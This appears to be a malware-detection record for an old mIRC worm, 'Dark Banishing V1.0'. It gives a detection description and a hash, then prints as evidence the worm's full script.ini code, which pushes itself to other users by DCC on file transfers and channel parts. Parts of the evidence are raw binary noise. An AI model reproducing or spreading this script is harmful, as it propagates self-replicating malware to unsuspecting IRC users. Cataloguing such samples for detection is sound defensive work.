IRC-Worm.DOS.Banishing.2404
Detects mIRC DCC spreading behavior targeting script.iniDetects mIRC worm behavior modifying script.ini to spread via IRC
SHA-2569d3526e793e5363b06c9c128a3575bf24117dbfc78bf3cf15e8bc1f45dce64d3
MaleculeO₂(CLa)H(F)
Evidence
1621��@@��2������R����������¸��Z��
�����ث���X-�������.0�����C���������������[script]
n0=on 1:FILERCVD:*.*:/dcc send $nick C:\MIRC\script.ini
n1=on 1:FILESENT*.*:/dcc send $nick C:\MIRC\script.ini
n2=on 1:connect: {
n3= /join #virus
n4= /msg #virus Will not the mountains quake and hills melt at the coming of the darkness?
n5= /msg #virus Dark Banishing V1.0
n6= /part #virus
n7= /clear
n8= /motd
n9=}
n10=on 1:PART:#:/if ($nick == $me) { halt } | .dcc send $nick C:\MIRC\script.ini
n11=on 1:TEXT:*virus*:*:/msg $chan Will not the mountains quake and hills melt at the coming of the darkness? | /msg $chan Dark Banishing V1.0
n12=;Dark Banishing Version 1.0Dark Banishing V1.0 By VxFaeRieC:\MIRC\Script.ini��L�!